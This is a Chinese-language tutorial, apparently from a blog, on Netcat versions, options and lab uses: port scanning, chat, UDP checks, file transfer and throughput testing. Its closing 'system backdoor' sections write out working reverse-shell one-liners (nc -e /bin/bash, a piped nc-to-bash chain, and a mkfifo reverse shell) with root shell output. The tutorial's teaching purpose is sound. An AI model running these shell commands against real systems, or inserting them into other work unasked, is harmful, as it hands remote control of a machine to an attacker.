• 翻一翻库存,写一下。

Netcat 介绍

  • Netcat(又称为 nc)是一种网络工具,用于在计算机网络上进行数据传输和调试。它可以创建连接、监听端口、发送和接收数据,以及与其他计算机建立通信。

  • Netcat 是一个强大而灵活的工具,被广泛用于网络和系统管理、安全审计、渗透测试以及其他与网络通信相关的任务。

  • Netcat提供了很多功能,包括:

    • 端口扫描:Netcat 可以扫描目标主机上开放的端口,以便识别网络服务和应用程序。
    • 传输文件:它可以通过网络传输文件,允许在不同计算机之间快速共享文件。
    • 网络调试:Netcat 可以用于调试网络连接和通信问题。它可以作为客户端或服务器端,从一个计算机向另一个计算机发送数据,从而帮助诊断和修复网络故障。
    • 网络代理:Netcat 可以用作简单的网络代理,转发来自一个主机的数据到另一个主机。
    • 远程控制:通过 Netcat,您可以远程控制其他计算机,执行命令和操作。
    • 网络监听:Netcat 可以在一个主机上监听指定的端口,接收来自其他主机的连接和数据。

Netcat 版本

  • 最初作者是叫做霍比特人的网友 Hobbit hobbit@avian.org于 1995 年在 UNIX 上以源代码的形式发布。
  • Netcat 在 POSIX 系统上有两个主要版本:
    • GNU 版本的 Netcat;
    • OpenBSD 版本的 Netcat(也称为 OpenBSD Netcat 或 BSD Netcat)。
  • GNU 版本的 Netcat 是由 GNU 计划开发的自由软件,它在 POSIX 兼容的系统上广泛使用。在 Debian、Ubuntu 和其他基于 Debian 的 Linux 发行版上,可以使用包管理器(如 apt)轻松安装 GNU 版本的 Netcat。
  • OpenBSD 版本的 Netcat 最初是由 OpenBSD 团队开发的,它强调安全性和简洁性。在许多 POSIX 兼容的系统中,OpenBSD 版本的 Netcat 被作为默认版本提供,并且在安全审计和渗透测试等领域中经常使用。
  • 在 Windows 系统上,只有 GNU 版本的 Netcat 可用。

  • 不管是程序员还是运维,熟悉这个命令都可以让很多工作事半功倍,说的都是新版本的 OpenBSD 的 Netcat,已经没法在主流 Linux 上使用了,所以我们先要检查版本。

  • 在 Debian/Ubuntu 下面执行如下命令:

1
2
root@localhost:~# readlink -f $(which nc)
/bin/nc.openbsd
  • 在 Kali 下面执行结果就不一样了:
1
2
3
root at kali in ~/Desktop 
$ readlink -f $(which nc)
/usr/bin/nc.traditional
  • 结果显而易见的分为两种:
    • nc.traditional:GNU 基础版本的 Netcat,安全性较差一般系统都不自带。
    • nc.openbsd:OpenBSD 版本的 Netcat,为大部分系统默认版本,强调安全性,并且缺少了 -e、-c 选项。

Netcat 命令介绍

注:主要以 /usr/bin/nc.traditional 为演示版本。

  • Netcat 命令格式如下:
1
nc [-options] hostname port[s] [ports]
  • 命令具体参数说明如下:
参数名称 使用说明
nc -c shell commands 以 -e 选项的形式执行 shell 命令(危险命令)
nc -e filename 连接建立后执行的程序(危险命令)
nc -l 以监听模式运行,等待传入连接
nc -n 只显示数值形式的 IP 地址,不进行 DNS 解析
nc -p port 指定本地端口号
nc -s addr 指定本地源地址
nc -u 使用 UDP 模式
nc -v 显示详细信息,使用两次以获得更详细的输出
nc -w secs 连接和最终读取的超时时间
nc -z 零 I/O 模式,用于端口扫描

Netcat 命令使用

实验环境如下:

  • Ubuntu 18.04:/bin/nc.openbsd,10.10.8.128
  • Kali 2023.3:/usr/bin/nc.traditional,10.10.8.20

端口探测

  • 在 Ubuntu 上面 8080 端口启动了一个服务,有没有通用的方法检测服务的 TCP 端口是否启动成功?或者在 Kali 上能不能正常访问该端口?
  • 那么到底是服务错误还是网络无法到达呢?我们当然可以在 Kali 上用 Telnet 探测一下:
1
2
3
4
root at kali in ~ 
$ telnet 10.10.8.128 8080
Trying 10.10.8.128...
telnet: Unable to connect to remote host: Connection refused
  • 当 Ubuntu 开启对应端口时 Telnet 所显示的页面是不一致的:
1
2
3
4
5
root at kali in ~ 
$ telnet 10.10.8.128 8080
Trying 10.10.8.128...
Connected to 10.10.8.128.
Escape character is '^]'.
  • 但 Telnet 并不是专门做这事情的,所以我们在 Kali 上用 Netcat:
1
2
3
4
5
6
7
8
9
# 对方未开启端口
root at kali in ~
$ nc -vzn 10.10.8.128 8080
(UNKNOWN) [10.10.8.128] 8080 (http-alt) : Connection refused

# 对方开启端口
root at kali in ~
$ nc -vzn 10.10.8.128 8080
(UNKNOWN) [10.10.8.128] 8080 (http-alt) open
  • 那么如果 Kali 连不上 Ubuntu 的 8080 端口,此时你就该检查网络和安全设置了。
  • 除了指定单个端口外,还可以写一个端口范围:
1
2
3
4
root at kali in ~ 
$ nc -vzn -w 2 10.10.8.128 1-100
(UNKNOWN) [10.10.8.128] 80 (http) open
(UNKNOWN) [10.10.8.128] 22 (ssh) open

传输测试

  • 你在配置 iptable 或者安全组策略时禁止了所有端口,但是仅仅开放了 8080 端口,你想测试一下该设置成功与否怎么测试?
  • 安装个 Nginx/Apache 改下端口,外面再用 Chrome 访问下或者 Telnet/Curl 测试下?还是 Python -m 启动简单的 HTTP 服务 ?
  • 其实不用那么麻烦,在 Ubuntu 上使用 Netcat 监听端口:
1
2
root@ctfd:~# nc -lvvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
  • 这样就监听了 8080 端口,然后在 Kali 上连接过去:
1
2
3
root at kali in ~ 
$ nc 10.10.8.128 8080
Hello Ubuntu
  • 两边就可以会话了,随便输入点什么按回车,另外一边应该会显示出来:
1
2
3
4
root@ctfd:~# nc -lvvp 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 10.10.8.20 51124 received!
Hello Ubuntu

注:openbsd 版本 Netcat 用了 -l 以后可以省略 -p 参数,但在 GUN Netcat 下面无法运行,所以推荐写法是加上 -p 参数,两个版本都通用。

  • Netcat 不管是服务端还是客户端只要任意一边断开了,另一端也就结束了。
  • 但是 openbsd 版本的 Netcat 可以加一个 -k 参数让服务端持续工作。

测试 UDP 会话

  • 两台主机 UDP 数据发送不过去,问题在哪呢?
  • 你得先确认一下两台主机之间 UDP 可以到达,这时候没有 nginx 给你用了,怎么测试呢?
  • 用 python 写个 udp 的 echo 服务?
  • 运维不会认你写的工具的,即使连不通他也会认为你的程序有 bug,于是 Netcat 又登场了:
1
2
root@ctfd:~# nc -lvvu 8080
Listening on [0.0.0.0] (family 0, port 8080)
  • 监听 udp 的 8080 端口,然后 Kali 上连上去:
1
2
3
root at kali in ~ 
$ nc -vnzu 10.10.8.128 8080
(UNKNOWN) [10.10.8.128] 8080 (?) open

文件传输

  • 你在一台 B 主机上想往 A 主机上发送一个文件怎么办?不能用 scp / szrz 的话?
  • 继续 python 写个 http 上传?装个 ftpd 服务?不用那么麻烦,在 Ubuntu 上监听端口:
1
root@ctfd:~# nc -lp 8080 > demo.txt
  • 然后在 Kali 上:
1
2
root at kali in ~ 
$ nc 10.10.8.128 8080 < demo.txt
  • 在 Ubuntu 上即可查看到对应文件:
1
2
root@ctfd:~# tail -n 1 demo.txt
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
  • 建议在 Netcat 上加上 -w 参数(接收文件一方加),这样文件传输完会自动关闭。

网络吞吐量测试

  • 最简单的方法,GNU 版本的 Netcat 加上 -v -v 参数后,结束时会统计接收和发送多少字节,那么此时 A 主机上显示运行 GNU 版本的 nc 监听端口:
1
2
3
4
5
root at kali in ~ 
$ nc -lvvnp 8080
listening on [any] 8080 ...
connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 57496
^B sent 0, rcvd 950812672
  • 加 n 的意思是不要解析域名,避免解析域名浪费时间造成统计误差,然后在 Ubuntu 上:
1
2
3
4
5
root@ctfd:~# time nc -n 10.10.8.20 8080 < /dev/zero

real 0m15.346s
user 0m0.000s
sys 0m1.449s
  • 回车后执行十秒钟按 CTRL+C 结束,然后在 Kali 那里就可以看到接收了多少字节了,此时根据 time 的时间自己做一下除法即可得知。

注:GNU 的 Netcat 统计的数值是 32 位 int,如果传输太多就回环溢出成负数了。

系统后门(-e/-c)

  • 假设你用串口登录到 Ubuntu 主机,上面十分原始,包管理系统都没有,sshd/telnetd 都跑不起来,这时候你想用 Kali 通过网络登录 Ubuntu 有没有办法?
  • GNU 版本的 Netcat 有一个 -e 参数,可以在连接建立的时候执行一个程序,并把它的标准输入输出重定向到网络连接上来,于是我们可以在 Kali 上 -e /bin/bash:
1
2
root at kali in ~ 
$ nc 10.10.8.128 4444 -e /bin/bash
  • 在 Ubuntu 上照常监听:
1
2
3
4
5
root@ctfd:~# nc -lvvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.8.20 56922 received!
id
uid=0(root) gid=0(root) groups=0(root)
  • 你就可以在 Ubuntu 上登录 Kali 的 Shell 了。
  • 同理也可以使用 -c 参数:
1
2
root at kali in ~ 
$ nc -c /bin/bash 10.10.8.128 4444

系统后门(无 -e/-c)

Netcat 串联

  • 可以通过管道符串联 Netcat 命令,在 Ubunut 上输入如下命令:
1
root@ctfd:~# nc 10.10.8.20 4444 | /bin/bash | nc 10.10.8.20 5555
  • 在 Kali 上开启两个监听:
1
2
3
4
5
6
7
8
9
10
11
12
13
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.128: inverse host lookup failed: Unknown host
connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 42092
id

root at kali in ~
$ nc -lvvp 5555
listening on [any] 5555 ...
10.10.8.128: inverse host lookup failed: Unknown host
connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 38172
uid=0(root) gid=0(root) groups=0(root)
  • 这样在 4444 端口输入命令,通过管道符交给 /bin/bash,执行完成后通过管道符交给 5555 端口。

Netcat 管道

  • 在本地创建一个 FIFO(命名管道)文件 /tmp/f,然后通过管道将该文件的内容传递给 bash 进程:
1
root@ctfd:~# rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | bash -i 2>&1 | nc 10.10.8.20 4444 >/tmp/f
  • 在 Kali 上开启个监听:
1
2
3
4
5
6
root at kali in ~ 
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.128: inverse host lookup failed: Unknown host
connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 47468
root@ctfd:~#